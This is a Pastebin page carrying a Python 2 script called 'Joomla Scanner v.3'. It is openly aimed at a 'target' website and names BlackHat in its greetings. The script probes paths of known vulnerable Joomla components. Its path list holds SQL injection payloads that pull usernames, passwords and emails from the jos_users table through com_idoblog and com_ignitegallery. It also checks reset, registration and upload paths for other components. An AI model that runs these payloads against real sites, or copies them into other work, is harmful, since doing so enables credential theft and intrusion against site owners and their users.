Dr-L0v3

Joomla Scanner v.3

Jul 24th, 2015
787
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.19 KB | None | 0 0
  1. #!/usr/bin/python
  2. # By Dr.L0v3
  3.  
  4.  
  5.  
  6.  
  7. import sys,urllib2,time,httplib
  8.  
  9.  
  10.  
  11. mtucx = 5
  12.  
  13.  
  14.  
  15. dzx = 4
  16.  
  17. logo = '''
  18.  
  19.  
  20.  
  21. /$$$$$$$            /$$        /$$$$$$              /$$$$$$
  22. | $$__  $$          | $$       /$$$_  $$            /$$__  $$
  23. | $$  \ $$  /$$$$$$ | $$      | $$$$\ $$ /$$    /$$|__/  \ $$
  24. | $$  | $$ /$$__  $$| $$      | $$ $$ $$|  $$  /$$/   /$$$$$/
  25. | $$  | $$| $$  \__/| $$      | $$\ $$$$ \ $$/$$/   |___  $$
  26. | $$  | $$| $$      | $$      | $$ \ $$$  \ $$$/   /$$  \ $$
  27. | $$$$$$$/| $$ /$$  | $$$$$$$$|  $$$$$$/   \ $/   |  $$$$$$/
  28. |_______/ |__/|__/  |________/ \______/     \_/     \______/
  29.                                                            
  30. ----------------------Joomla Scanner v.3---------------------
  31.                                      
  32.  
  33.  
  34.  
  35. '''
  36.  
  37.  
  38.  
  39. print(logo)
  40.  
  41.  
  42.  
  43. print "Joomla Scanner v.3"
  44.  
  45.  
  46.  
  47. print "Greetz to : BlackHat"
  48.  
  49.  
  50.  
  51. print "pyhthon joomla.py www.target.com"
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. BAD_RESP = [400,401,404]
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67. def main(path):
  68.  
  69.  
  70.  
  71.     print "Scan:",host.split("/",1)[1]+path
  72.  
  73.  
  74.  
  75.     try:
  76.  
  77.  
  78.  
  79.         h = httplib.HTTP(host.split("/",1)[0])
  80.  
  81.  
  82.  
  83.         h.putrequest("HEAD", "/"+host.split("/",1)[1]+path)
  84.  
  85.  
  86.  
  87.         h.putheader("Host", host.split("/",1)[0])
  88.  
  89.  
  90.  
  91.         h.endheaders()
  92.  
  93.  
  94.  
  95.         resp, reason, headers = h.getreply()
  96.  
  97.  
  98.  
  99.         return resp, reason, headers.get("Server")
  100.  
  101.  
  102.  
  103.     except(), msg:
  104.  
  105.  
  106.  
  107.         print "Error Occurred:",msg
  108.  
  109.  
  110.  
  111.         pass
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119. def timer():
  120.  
  121.  
  122.  
  123.     now = time.localtime(time.time())
  124.  
  125.  
  126.  
  127.     return time.asctime(now)
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135. dzx = { "index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--" : ["com_idoblog"], "index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat(id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype),4,5,6,7,8,9,10+from+jos_users--" : ["com_ignitegallery"], "index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=" : ["com_media"], "administrator/components/com_redmystic/chart/tmp-upload-images/" : ["com_redmystic"], "index.php?option=com_users&view=registration" : ["com_user"], "index.php?option=com_jce" : ["JCE","link"], "index.php?option=com_user&view=reset&layout=confirm" : ["com_user"], "index.php?option=com_smartformer":["com_smartformer"],"index.php?option=com_garyscookbook&func=newItem":["com_garyscookbook"],"index.php/component/osproperty/?task=agent_register":["com_osproperty"]}
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143. if len(sys.argv) != 2:
  144.  
  145.  
  146.  
  147.     sys.exit(1)
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155. host = sys.argv[1].replace("http://","").rsplit("/",1)[0]
  156.  
  157.  
  158.  
  159. if host[-1] != "/":
  160.  
  161.  
  162.  
  163.     host = host+"/"
  164.  
  165.  
  166.  
  167.    
  168.  
  169.  
  170.  
  171. print "\nTarget:",host
  172.  
  173.  
  174.  
  175. print "\nScanning Exploit\n"
  176.  
  177.  
  178.  
  179. for xpl,(poc) in dzx.items():
  180.  
  181.  
  182.  
  183.     resp,reason,server = main(xpl)
  184.  
  185.  
  186.  
  187.     if resp not in BAD_RESP:
  188.  
  189.  
  190.  
  191.         print ""
  192.  
  193.  
  194.  
  195.         print "\nResult:",resp, reason
  196.  
  197.  
  198.  
  199.         print "\nVuln",poc
  200.  
  201.  
  202.  
  203.     else:
  204.  
  205.  
  206.  
  207.         print ""
  208.  
  209.  
  210.  
  211.         print "\nResult:",resp, reason
  212.  
  213.  
  214.  
  215.         print
  216.  
  217.  
  218.  
  219. print "\nEnd\n"
Advertisement
Add Comment
Please, Sign In to add comment